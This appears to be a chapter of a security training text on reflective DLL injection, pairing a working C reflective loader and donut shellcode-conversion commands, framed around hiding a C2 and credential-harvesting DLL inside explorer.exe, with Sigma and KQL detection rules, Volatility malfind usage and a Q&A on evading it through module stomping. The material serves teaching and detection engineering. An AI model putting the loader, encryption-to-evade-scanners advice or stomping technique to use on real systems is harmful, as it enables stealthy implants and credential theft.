Reflective DLL Injection
Reflective DLL injection (Stephen Fewer, 2008) loads a PE image entirely from memory — without writing to disk, without calling LoadLibrary, and without creating a module entry visible in the PEB module list or GetModuleHandle. The DLL contains its own bootstrapping loader that manually performs every step the Windows loader normally does: image mapping, relocation, import resolution, TLS callbacks, entry point call. Understanding this loader at the PE-structure level is fundamental to both writing in-memory payloads and building memory-scanner signatures that catch them.
You have a Cobalt Strike beacon Beacon Object File (BOF) executor in memory. You want to load a full feature DLL (containing C2 client, credential harvester, lateral movement code) into explorer.exe without touching disk. The DLL must be callable after loading and must not appear in the target process's module list (lm in WinDbg, pslist modules in volatility).
Reflective DLL Concept
Manual PE Parsing
// PE structure navigation — used by reflective loader to parse its own image.
// These are the same structures the Windows loader uses.
#include <windows.h>
PIMAGE_NT_HEADERS GetNtHeaders(PVOID base) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
return nt;
}
// Locate a specific section by name
PIMAGE_SECTION_HEADER FindSection(PIMAGE_NT_HEADERS nt, const char* name) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (strncmp((char*)sec->Name, name, 8) == 0)
return sec;
}
return NULL;
}
// Walk the Export Directory to find a function by name
FARPROC GetExportByName(PVOID base, const char* funcName) {
PIMAGE_NT_HEADERS nt = GetNtHeaders(base);
DWORD exportRva = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!exportRva) return NULL;
PIMAGE_EXPORT_DIRECTORY exp =
(PIMAGE_EXPORT_DIRECTORY)((BYTE*)base + exportRva);
DWORD* names = (DWORD*)((BYTE*)base + exp->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)base + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
if (strcmp((char*)((BYTE*)base + names[i]), funcName) == 0)
return (FARPROC)((BYTE*)base + funcs[ordinals[i]]);
}
return NULL;
}
Reflective Loader Implementation
// ReflectiveLoader: exported from the DLL; called by the injector.
// Must be position-independent: cannot reference any global data by absolute address.
// All strings accessed via stack-local buffers; API addresses resolved manually
// from PEB to avoid importing any functions at compile time.
PVOID ReflectiveLoader() {
// Step 1: Locate own image base by scanning backward from current IP
BYTE* ip = (BYTE*)&ReflectiveLoader;
BYTE* base = ip;
while (*((WORD*)base) != IMAGE_DOS_SIGNATURE) base -= 0x1000;
// Step 2: Resolve GetProcAddress and LoadLibraryA from PEB
// (PEB → Ldr → InLoadOrderModuleList → walk until kernel32.dll found)
PPEB peb = (PPEB)__readgsqword(0x60);
PLIST_ENTRY list = &peb->Ldr->InLoadOrderModuleList;
PVOID k32base = NULL;
for (PLIST_ENTRY e = list->Flink; e != list; e = e->Flink) {
PLDR_DATA_TABLE_ENTRY mod = CONTAINING_RECORD(e,
LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
// Compare mod->BaseDllName to L"kernel32.dll" (case-insensitive)
if (IKernel32(mod->BaseDllName.Buffer)) {
k32base = mod->DllBase;
break;
}
}
pGetProcAddress fnGPA = (pGetProcAddress)GetExportByName(k32base, "GetProcAddress");
pLoadLibraryA fnLL = (pLoadLibraryA)GetExportByName(k32base, "LoadLibraryA");
pVirtualAlloc fnVA = (pVirtualAlloc)GetExportByName(k32base, "VirtualAlloc");
// Step 3: Map image into new allocation
PIMAGE_NT_HEADERS nt = GetNtHeaders(base);
PVOID mapped = fnVA(NULL, nt->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy headers
memcpy(mapped, base, nt->OptionalHeader.SizeOfHeaders);
// Copy sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
memcpy((BYTE*)mapped + sec->VirtualAddress,
(BYTE*)base + sec->PointerToRawData, sec->SizeOfRawData);
// Step 4: Apply relocations
DWORD_PTR delta = (DWORD_PTR)mapped - nt->OptionalHeader.ImageBase;
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(
(BYTE*)mapped +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (reloc->VirtualAddress) {
WORD* entries = (WORD*)(reloc + 1);
DWORD count = (reloc->SizeOfBlock - sizeof(*reloc)) / 2;
for (DWORD j = 0; j < count; j++) {
if ((entries[j] >> 12) == IMAGE_REL_BASED_DIR64)
*(DWORD64*)((BYTE*)mapped + reloc->VirtualAddress
+ (entries[j] & 0xFFF)) += delta;
}
reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
}
// Step 5: Resolve imports
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(
(BYTE*)mapped +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (; imp->Name; imp++) {
HMODULE lib = fnLL((LPCSTR)((BYTE*)mapped + imp->Name));
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(
(BYTE*)mapped + imp->FirstThunk);
while (thunk->u1.AddressOfData) {
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)(
(BYTE*)mapped + thunk->u1.AddressOfData);
thunk->u1.Function = (ULONG_PTR)fnGPA(lib, ibn->Name);
thunk++;
}
}
// Step 6: Call DllMain(DLL_PROCESS_ATTACH)
typedef BOOL(WINAPI* pDllMain)(HINSTANCE, DWORD, PVOID);
pDllMain dllMain = (pDllMain)((BYTE*)mapped
+ nt->OptionalHeader.AddressOfEntryPoint);
dllMain((HINSTANCE)mapped, DLL_PROCESS_ATTACH, NULL);
return mapped;
}
PE-to-Shellcode Conversion (donut)
// Tools like donut (TheWover) convert a PE/DLL to position-independent shellcode.
// The output shellcode contains an embedded loader + the original PE.
// Execution flow:
// 1. shellcode loader parses embedded PE image
// 2. Performs reflective load steps (alloc, copy, reloc, imports, DllMain/EP)
// 3. Calls the PE's entry point or a specified export
//
// Command-line usage (donut):
// donut -f implant.exe -o shellcode.bin -e 3 # encrypt with XOR
// donut -f agent.dll -e 3 -x "Run" -o sc.bin # call specific export "Run"
//
// Advantages over raw reflective DLL:
// - Works for EXEs, not just DLLs
// - Output is raw shellcode (can be injected by any injector)
// - Encrypted payload (avoids static scanner triggers)
// - Runs managed .NET assemblies in-memory via CLR hosting (seatbelt, SharpHound, etc)
Detection Engineering
title: Executable Memory Not Backed by File on Disk
logsource:
product: windows
category: process_creation
detection:
selection:
EventID: 1
condition: selection # correlate with memory scan in EDR
comment: This rule fires EDR-side (Defender/CS): PAGE_EXECUTE + no mapped file = unbacked shellcode
level: high
tags: [attack.defense_evasion, T1055.001]
title: Module Not in PEB Loader List (Reflective Load)
logsource:
product: windows
service: windefend
detection:
selection:
EventID: 1117
ThreatName|contains: 'ReflectiveDLL'
condition: selection
level: critical
-- MDE KQL: process with executable memory region not backed by any module
DeviceEvents
| where ActionType == "ProcessInjection"
or ActionType == "ShellcodeExecution"
| project Timestamp, DeviceName, InitiatingProcessFileName,
FileName, AdditionalFields
-- Sysmon Event 17/18: Named pipe creation (post-injection CS beacon comms)
DeviceEvents
| where ActionType == "NamedPipeServerCreated"
| where AdditionalFields has_any ("MSSE-", "postex_", "\msagent_")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields
-- Memory scan: look for PE headers (MZ + PE) in non-module address space
-- Volatility command: vol.py -f mem.raw windows.malfind (finds MZ in VirtualAlloc'd RWX memory)
-- Defender memory scanning: DeviceEvents ActionType == "MalwareDetectionScan"
Q&A
How does Volatility's malfind plugin detect reflectively loaded DLLs, and how does module stomping (ch193) defeat it?
Volatility's malfind works by walking every process's Virtual Address Descriptor (VAD) tree — the kernel data structure that records all memory regions allocated by a process. For each region, it checks two conditions: (1) the memory is executable (PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, or PAGE_EXECUTE_WRITECOPY), and (2) the region is not backed by a mapped file (i.e., MMVAD.FileObject == NULL). When both conditions are true, Volatility reads the first bytes of the region and checks for a PE header signature (MZ → 0x4D 0x5A at offset 0, PE → 0x50 0x45 at e_lfanew). If it finds an MZ/PE header in an unbacked executable region, it flags it as potentially injected code and dumps the region for analysis. This catches classic VirtualAllocEx injection and reflective DLL loads because both allocate new anonymous memory (not backed by a file) with execute permission.
Module stomping defeats malfind because the memory region IS backed by a mapped file — specifically, the legitimate DLL that was loaded by the OS loader. The VAD entry for that DLL's .text section points to the DLL file on disk as its backing object. Volatility sees: executable region, backed by file (ntdll.dll or whatever the stomped DLL is) → normal, skip. The PE header check never fires because the stomped region starts at an offset inside the DLL (e.g., imagebase + 0x1000), not at the DLL's own header. The shellcode overwrites the function stubs, not the MZ header at offset 0.
To catch module stomping, a more sophisticated approach compares the in-memory bytes of each loaded DLL against the file's known-good bytes on disk or against a hash stored in a known-good database. Discrepancies between in-memory and on-disk DLL content flag stomped modules. This is computationally expensive at scale but is what tools like Get-InjectedThread and advanced EDR memory integrity checks do.